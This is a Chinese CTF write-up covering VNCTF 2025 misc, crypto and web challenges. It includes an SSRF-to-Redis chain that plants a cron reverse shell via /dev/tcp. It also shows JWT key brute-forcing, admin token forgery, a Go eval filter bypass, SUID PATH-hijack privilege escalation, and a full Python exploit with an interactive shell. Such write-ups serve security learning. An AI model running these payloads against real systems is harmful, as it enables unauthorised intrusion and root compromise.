MISC

VN_Lang

​ 一个rust代码和一个exe可执行文件,根据题目描述,该exe文件是由rust生成的。

​ 在代码中,flag是明文保存的:

image-20250208172700073

​ 推测exe可执行文件中也是明文保存的,直接在IDA中F12+shift查找字符串:

image-20250208172757421

1
VNCTF{JMmiPrBv7PSWFpQPY17239zXMEjfgVtcv5FVl3syKiYZS}

aimind

​ 测试容器出网:

image-20250208215155597

​ file伪协议可用:

image-20250208215321873

​ 读取/proc/net/tcp可找到ip及端口连接关系:

image-20250208215500777

​ 让DeepSeek分析一下:

image-20250208215837663

​ 可以发现本地ip:172.18.0.2,开启服务端口为5000:

image-20250208215903508

​ 根据题目提示存在内网redis服务,尝试访问6379端口:

​ (实际比赛中每次环境重启,redis可能在172.18.0.2,也可能在172.18.0.3)

image-20250208220152067

​ 存在未授权访问,反弹shell即可,依次访问:

1
2
3
4
5
6
7
dict://172.18.0.2:6379/set%20xx%20%22%5Cn*%20*%20*%20*%20*%20/bin/bash%20-i%20%3E&%20/dev/tcp/ip/port%200%3E&1%5Cn%22

dict://172.18.0.2:6379/config%20set%20dir%20/var/spool/cron/

dict://172.18.0.2:6379/config%20set%20dbfilename%20root

dict://172.18.0.2:6379/save

​ 同时攻击机开启监听,等一会即可收到反弹的shell

image-20250208220735955

1
VNCTF{a503dfaa-f88a-4d95-88b8-5d0975ca0f0d}

CRYPTO

easymath

​ 题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *
from secret import flag
flag=bytes_to_long(flag)
l=flag.bit_length()//3 + 1
n=[]
N=1
while len(n) < 3:
p = 4*getPrime(l)-1
if isPrime(p):
n.append(p)
N *= p

print(f'c={flag*flag%N}')

from sympy import symbols, expand
x = symbols('x')
polynomial = expand((x - n[0]) * (x - n[1]) * (x - n[2]))

print(f'{polynomial=}')
# c=24884251313604275189259571459005374365204772270250725590014651519125317134307160341658199551661333326703566996431067426138627332156507267671028553934664652787411834581708944
# polynomial=x**3 - 15264966144147258587171776703005926730518438603688487721465*x**2 + 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923*x - 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619

​ 根据:

1
polynomial = expand((x - n[0]) * (x - n[1]) * (x - n[2]))

​ 的结果为:

1
polynomial=x**3 - 15264966144147258587171776703005926730518438603688487721465*x**2 + 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923*x - 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619

​ 可以得到:

1
2
3
n0+n1+n2 = 15264966144147258587171776703005926730518438603688487721465
n0*n1+n0*n2+n1*n2 = 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923
n0*n1*n2 = 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619

​ 进一步可以计算出:

1
2
3
4
5
6
7
8
9
10
11
12
n0, n1, n2 = symbols('n0 n1 n2')
eq1 = Eq(n0 + n1 + n2, 15264966144147258587171776703005926730518438603688487721465)
eq2 = Eq(n0*n1 + n0*n2 + n1*n2, 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923)
eq3 = Eq(n0*n1*n2, 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619)

solutions = solve((eq1, eq2, eq3), (n0, n1, n2))

n0 = solutions[0][0]
n1 = solutions[0][1]
n2 = solutions[0][2]

print(f"n[0]={n0}\nn[1]={n1}\nn[2]={n2}")

​ 模平方部分被GPT秒了:

image-20250208173431785

​ 给出到的代码修改一下即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# x^3 - (n0+n1+n2)*x^2 + (n0*n1+n0*n2+n1*n2)*x - n0*n1*n2

# n0+n1+n2 = 15264966144147258587171776703005926730518438603688487721465
# n0*n1+n0*n2+n1*n2 = 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923
# n0*n1*n2 = 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619

from sympy import symbols, Eq, solve
import math
from Crypto.Util.number import *
from random import randint

def CRT(a, m):
"""
a: 列表,表示余数 [a0, a1, ..., a(n-1)]
m: 列表,表示模数 [m0, m1, ..., m(n-1)],要求两两互质
返回最小非负解 x,使得 x ≡ a[i] (mod m[i]) 对所有 i 成立
"""
from functools import reduce
# 计算所有模数的乘积 M
M = reduce(lambda x, y: x * y, m, 1)
x = 0
for ai, mi in zip(a, m):
Mi = M // mi
# 计算 Mi 的逆元 mod mi
inv = pow(Mi, -1, mi)
x = (x + ai * Mi * inv) % M
return x

# 对每个 n_i,计算平方根 r_i = c^((n_i+1)//4) mod n_i
def sqrt_mod_p(c, p):
return pow(c, (p+1)//4, p)


def get_flag():
c=24884251313604275189259571459005374365204772270250725590014651519125317134307160341658199551661333326703566996431067426138627332156507267671028553934664652787411834581708944

n0, n1, n2 = symbols('n0 n1 n2')
eq1 = Eq(n0 + n1 + n2, 15264966144147258587171776703005926730518438603688487721465)
eq2 = Eq(n0*n1 + n0*n2 + n1*n2, 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923)
eq3 = Eq(n0*n1*n2, 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619)

solutions = solve((eq1, eq2, eq3), (n0, n1, n2))

n0 = solutions[0][0]
n1 = solutions[0][1]
n2 = solutions[0][2]

print(f"n[0]={n0}\nn[1]={n1}\nn[2]={n2}")

r0 = sqrt_mod_p(c, int(n0))
r1 = sqrt_mod_p(c, int(n1))
r2 = sqrt_mod_p(c, int(n2))

print(f"r0={r0}\nr1={r1}\nr2={r2}")

# 每个模下有两个可能:选择 r 或 p - r
# 枚举所有组合,利用 CRT 合成一个候选解 x
from itertools import product
candidates = []
for s0, s1, s2 in product([r0, n0-r0], [r1, n1-r1], [r2, n2-r2]):
# 利用 CRT 求 x,使 x ≡ s0 (mod n0), x ≡ s1 (mod n1), x ≡ s2 (mod n2)
x = CRT([s0, s1, s2], [n0, n1, n2])
candidates.append(x)

# 筛选出转换为字节串后符合 flag 格式的那个
for x in candidates:
flag_candidate = long_to_bytes(x)
if b"VNCTF{" in flag_candidate:
print("Recovered flag:", flag_candidate)

get_flag()
# Recovered flag: b'VNCTF{90dcfb2dfb21a21e0c8715cbf3643f4a47d3e2e4b3f7b7975954e6d9701d9648}'

WEB

Gin

​ 可以先随便注册一个账户进行登录,发现有一个文件上传窗口,随便上传一个文件:

image-20250209012119542

​ 可以浏览与下载文件。

​ 题目给的附件中没有key.go文件,可以通过文件下载来获得,访问:

1
http://node.vnteam.cn:45332/download?filename=../config/key.go

​ 下载获得key:

1
2
3
4
5
6
7
8
package config

func Key() string {
return "r00t32l"
}
func Year() int64 {
return 2025
}

​ 在jwt.go中,密钥生成逻辑为:

1
2
3
4
5
6
func GenerateKey() string {
rand.Seed(config.Year())
randomNumber := rand.Intn(1000)
key := fmt.Sprintf("%03d%s", randomNumber, config.Key())
return key
}

​ python仿照生成字典:

1
2
3
4
5
6
7
8
9
10
import itertools

static_key = "r00t32l"
year = 2025
possible_keys = [f"{str(i).zfill(3)}{static_key}" for i in range(1000)]

with open("keys.txt", "w") as f:
for key in possible_keys:
f.write(key + "\n")

​ 使用jwt_tool爆破:

1
python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEiLCJpc3MiOiJNYXNoMXIwIiwic3ViIjoidXNlciB0b2tlbiIsImV4cCI6MTczOTEyMDMxMywiaWF0IjoxNzM5MDMzOTEzfQ.fmEVJ_RpH05fVmfcbRMMNOd0vvR7ObL66cWYTB0dphM -C -d keys.txt

​ 爆破出密钥:

image-20250209013001962

​ 伪造admin的token:

image-20250209013216514

​ 现在可以访问/admin路由了!其中可以执行go代码,存在过滤:

image-20250209171255934

​ 使用syscall即可绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package main

import (
"fmt"
"syscall"
)

func main() {
err := syscall.Exec("/bin/ls", []string{"ls", "/"}, nil)
if err != nil {
fmt.Println("error:", err)
return
}
}

image-20250209171616890

​ 尝试读取flag:

image-20250209171649764

​ 问了出题人,说还需要提权,那么就再找找看怎么提权,找一下SUID

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package main

import (
"fmt"
"syscall"
)

func main() {
err := syscall.Exec("/bin/bash", []string{"bash", "-c", "find / -perm -u=s -type f 2>/dev/null"}, nil)
if err != nil {
fmt.Println("error:", err)
return
}
}

image-20250209172109247

1
2
3
4
5
6
7
8
9
10
/usr/bin/chsh
/usr/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/sudo
/.../Cat

​ 其中/.../Cat这个程序很可疑,将这个文件复制到/GinTest,再通过文件下载漏洞下载下来看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package main

import (
"fmt"
"syscall"
)

func main() {
err := syscall.Exec("/bin/bash", []string{"bash", "-c", "cp /.../Cat ./Cat"}, nil)
if err != nil {
fmt.Println("error:", err)
return
}
}

​ 访问

1
/download?filename=../Cat

​ 下载下来的文件简单逆向一下可以看到:

image-20250209172554680

​ 我们只需要利用环境变量劫持cat即可提权,参考文章 - Linux环境变量提权 - 先知社区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package main

import (
"fmt"
"syscall"
)

func main() {
err := syscall.Exec("/bin/bash", []string{"bash", "-c", "echo \"whoami\" > /tmp/cat;chmod 777 /tmp/cat;export PATH=/tmp:$PATH;/.../Cat"}, nil)
if err != nil {
fmt.Println("error:", err)
return
}
}

​ 成功提权:

image-20250209172932867

​ 接下来读flag即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package main

import (
"fmt"
"syscall"
)

func main() {
err := syscall.Exec("/bin/bash", []string{"bash", "-c", "echo \"/bin/cat /root/flag\" > /tmp/cat;chmod 777 /tmp/cat;export PATH=/tmp:$PATH;/.../Cat"}, nil)
if err != nil {
fmt.Println("error:", err)
return
}
}

image-20250209173041607

​ 完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
import requests
import json

url = "http://node.vnteam.cn:48526/"

def get_key_dict():
import itertools

static_key = "r00t32l" # 从key.go文件获取
year = 2025 # 从key.go文件获取
possible_keys = [f"{str(i).zfill(3)}{static_key}" for i in range(1000)]

with open("keys.txt", "w") as f:
for key in possible_keys:
f.write(key + "\n")


def register():
register_url = url+"register"
josn_data = {
"username": "BR",
"password": "123456"
}
res = requests.post(register_url, json=josn_data)
print(res.text)

def login():
login_url = url+"login"
josn_data = {
"username": "BR",
"password": "123456"
}
res = requests.post(login_url, json=josn_data)
print(res.text)

token = json.loads(res.text)["data"]["token"]
return token

def download(token, filename):
download_url = url+"download?filename="+filename
headers = {
"Cookie": f"token={token}"
}
res = requests.get(download_url, headers=headers)
if res.status_code == 200:
with open(filename.replace("/", "_"), "wb") as f:
f.write(res.content)
print(f"{filename} Download success")
else:
print("file not found")

def get_key(token):
import subprocess
import re
get_key_dict()
result = subprocess.run(["python", ".\jwt_tool.py", token, "-C", "-d", ".\keys.txt"], capture_output=True, text=True, shell=True)
key = re.search(r"\[\+\] (\S+) is the CORRECT key!", result.stdout).group(1)
print("get key!!: "+ key)
return key

def get_admin_token(key):
import jwt
import time
header = {
"alg": "HS256",
"typ": "JWT"
}

# 定义 JWT 负载信息
payload = {
"username": "admin",
"iss": "Mash1r0",
"sub": "user token",
"exp": int(time.time())+ 36000,
"iat": int(time.time())
}

token = jwt.encode(payload, key, algorithm="HS256", headers=header)
print("get admin token!!: "+ token)
return token

def rce(token, cmd):
if cmd[0:3] == "cat":
cmd = cmd.replace("cat", "/bin/cat")

rce_url = url+"eval"
headers = {
"Cookie": f"token={token}"
}

files = {
"code": (
None,
r'''package main

import (
"fmt"
"syscall"
)

func main() {
err := syscall.Exec("/bin/bash", []string{"bash", "-c", "echo \"''' + cmd.encode('unicode_escape').decode('utf-8') + r'''\" > /tmp/cat;chmod 777 /tmp/cat;export PATH=/tmp:$PATH;/.../Cat"}, nil)
if err != nil {
fmt.Println("error:", err)
return
}
}
''',
"text/plain"
)
}
res = requests.post(rce_url, files=files, headers=headers)
return res


if __name__ == "__main__":
import os
import json

register()
token = login()
# download(token, "../config/key.go")
key = get_key(token)
token = get_admin_token(key)

while True:
# 伪shell
cmd = input("$ ")
result = rce(token, cmd)
try:
data = json.loads(result.text)["data"]["result"]
except:
data = json.loads(result.text)["data"]["error"]
print(data)